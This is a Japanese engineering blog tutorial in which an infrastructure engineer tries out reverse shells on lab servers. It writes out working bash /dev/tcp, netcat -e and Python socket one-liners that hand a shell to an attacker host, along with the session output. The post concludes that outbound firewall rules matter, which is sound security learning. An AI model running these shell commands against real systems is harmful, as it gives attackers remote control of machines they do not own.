RAKUS Developers Blog | ラクス エンジニアブログ

株式会社ラクスのITエンジニアによる技術ブログです。

リバースシェルを試してみた

こんにちは、インフラエンジニアのfro-rivです。

セキュリティ関連でよく耳にするリバースシェル(reverse shell)について、
実際にどうやって実現するのか気になったので調べた結果をまとめてみました。

本記事に記載の手順は、不正な通信とみなされる可能性がありますので、
試す際は管理下のサーバで実施する・適切な許可を取得するなど法的な制約を遵守してください。

リバースシェルとは

リバースシェルとは、自ら接続先サーバ(以下、リモートサーバ)に接続しに行く通常の流れとは違い、
リモートサーバからシェルを渡しに来る通信方法です。

接続の際は、自ら(接続元で)任意のポートをリッスンし、リモートサーバがアクセスしに来る形をとるので、リモートサーバ側のファイアウォールで設定されているINPUT通信制御に関係なく接続できます。

以下は超ざっくりとしたイメージです。

▼通常アクセスの場合

リモートサーバに接続しようとするが、ファイアウォールで許可されていなければブロックされる

通常アクセス

▼リバースシェルの場合

リモートサーバから接続しに来るので、相手のファイアウォールのINPUT通信制御は関係ない

リバースシェル

リバースシェルを試してみる

実際にリバースシェルはどのような動きになるのか、どんなコマンドを使うのかを試してみたいと思います。

実現したいこと

リバースシェルを用いて、
evil.server(攻撃者)にて、firewalldで外部からのINPUT接続ができないようにしたremote.server(リモートサーバ)のbashを操作できるようにしたいと思います。

環境は以下を利用します。

  • 攻撃者
    • ホスト名:evil.server
    • IPアドレス172.YY.YY.YY(マスクします)
    • OS:Ubuntu22.04
  • リモートサーバ
    • ホスト名:remote.server
    • IPアドレス172.XX.XX.XX
    • OS:Almalinux8.7

今から3つの方法でリバースシェルを試してみますが、いずれも以下のような流れになります。

  1. 攻撃者が任意のポート(今回は9999番ポートを使う)で待ち受ける
  2. リモートサーバ側でコマンドを実行し、攻撃者にbashを渡しに行く

前提

今回はお試しなので、コマンドベース且つリモートサーバを直接操作します。

実際の攻撃では、不正侵入時や何らかの不正な方法でコマンドを記載したスクリプトやバイナリファイルを配布し
自動起動させるなど、攻撃者が任意のタイミングで起動できる(接続させる)ように仕掛けるような流れになるかと思います。

事前準備

リバースシェルを試す前に、remote.serverでfirewalldを設定し、すべてのポートを遮断します。
zoneはpublic(デフォルト)→dropに設定します。

## remote.serverにてfirewalldのzoneをdropにする
[root@remote.server ~]# firewall-cmd --set-default-zone=drop
success
[root@remote.server ~]# firewall-cmd --get-default-zone
drop
[root@remote.server ~]# firewall-cmd --list-all
drop (active)
  target: DROP
  icmp-block-inversion: no
  interfaces: eth0
  sources: 
  services: 
  ports: 
  protocols: 
  forward: no
  masquerade: no
  forward-ports: 
  source-ports: 
  icmp-blocks: 
  rich rules: 
[root@remote.server ~]# 

設定できたので、evil.serverより0-9999までのポートスキャンを実施しポートが閉じられていることを確認します。
※全ポートスキャンは時間がかかりすぎることと、SSHくらいしかサービスを起動していないこともあってとりあえず1-9999に指定してます

## 1-9999までのポートは空いていない
root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC
Nmap scan report for remote.server (172.XX.XX.XX)
Host is up (0.0011s latency).
All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered
MAC Address: xx:xx:xx:xx:xx:xx (xx)

Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds
root@evil.server:~# 

## 一応SSH接続も試みて、できないことも確認
root@evil.server:~# ssh 172.XX.XX.XX
ssh: connect to host 172.XX.XX.XX port 22: Connection timed out
root@evil.server:~# 

パターン1:bash

では、リバースシェルを試してみます。
まずはbashコマンドで行うパターンです。

このコマンドを使用します。

bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1

▼攻撃側

evil.serverにて、netcat(ncコマンド)を使用して9999ポートで待ち受けます。

# -l:リッスンさせる -p:ポート指定
root@evil.server:~# nc -l -p 9999

▼リモートサーバ

remote.serverにて、bashコマンドでevil.serverの9999ポートに接続します。

[root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1

すると、攻撃側のターミナルにリモートサーバのプロンプトが表示されコマンド操作することができます。OSを確認してもリモートサーバ(Almalinux8.7)であることがわかります。

Ctrl+cを押下することでbashを終了できます。

root@evil.server:~# nc -l -p 9999
[root@remote.server ~]# uname -n
uname -n
remote.server
[root@remote.server ~]# cat /etc/redhat-release
cat /etc/redhat-release
AlmaLinux release 8.7 (Stone Smilodon)
[root@remote.server ~]# ^C
root@evil.server:~# 

パターン2:netcat

次は、ncコマンド(netcat)で行うパターンです。

このコマンドを使用します。

nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash

▼攻撃側

evil.serverで実施することは同じで、ncを利用して9999ポートで待ち受けます。

root@evil.server:~# nc -l -p 9999

▼リモートサーバ

remote.serverにて、ncコマンドを利用してevil.serverの9999ポートに接続します。 
ncコマンドの場合はvオプションを付けているので、evil.serverに接続できた旨のメッセージが出力されます。

[root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 172.YY.YY.YY:9999.

すると、先ほどの様にプロンプトは表示されませんが攻撃側のターミナルでリモートのbashが実行できます。

こちらも同じく、Ctrl+cを押下することでbashを終了できます。

root@evil.server:~# nc -l -p 9999
uname -n
remote.server
cat /etc/redhat-release
AlmaLinux release 8.7 (Stone Smilodon)
^C
root@evil.server:~# 

パターン3:python

最後に、pythonを使ってリバースシェルを試してみます。

このコマンドを使用します。

export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

▼攻撃側

evil.serverで実施することは同じで、ncを利用して9999ポートで待ち受けます。

root@evil.server:~# nc -l -p 9999

▼リモートサーバ

remote.serverにて、pythonコマンドを利用してevil.serverの9999ポートに接続します。 

[root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

こちらも、攻撃側のターミナルでリモートのbashが実行できるようになりました。

こちらも同じく、Ctrl+cを押下することでbashを終了できます。

root@evil.server:~# nc -l -p 9999
[root@remote.server ~]# uname -n
uname -n
remote.server
[root@remote.server ~]# cat /etc/redhat-release
cat /etc/redhat-release
AlmaLinux release 8.7 (Stone Smilodon)
[root@remote.server ~]# ^C
root@evil.server:~# 

さいごに

いかがでしたでしょうか。
ファイアウォールでINPUT(内向き)のアクセス制限をかけていても、OUTPUT(外向き)の制限がなければリバースシェルでbashを遠隔操作できることがわかりました。
手順も思っていたより簡単で、手元ですぐに試すことができました。

今回はbash, nc, pythonを利用する手順を紹介しましたが、これらはほんの一例で
以下のサイトの様に、IPアドレスや実施方法・言語を選択してリバースシェル用のコマンドを生成できるサイトも存在します。
他にもペネトレーションテスト等で使用されるMetasploitと呼ばれるフレームワークでは、簡単にリバースシェルのペイロードを作成できるようなので、こちらについてはまた調べてみたいと思います。

Online - Reverse Shell Generator

日々業務を行う中でも内向きの制御に目が行きがち(もちろん大事!)でしたが、改めて外向きの通信制御の大切さを認識できました。
また、セキュリティ関連は対策は知っていても、実際にどのように攻撃するかを知らないケースも多いので、攻撃手法を知る(違う視点で見る)という良い機会にもなりました。
個人的に興味のある分野なので、さらに深掘りして担当サービスや弊社サービスのセキュリティ向上につながっていけばベストだなと思います。

というわけで、以上とさせていただきます。

参考

Copyright © RAKUS Co., Ltd. All rights reserved.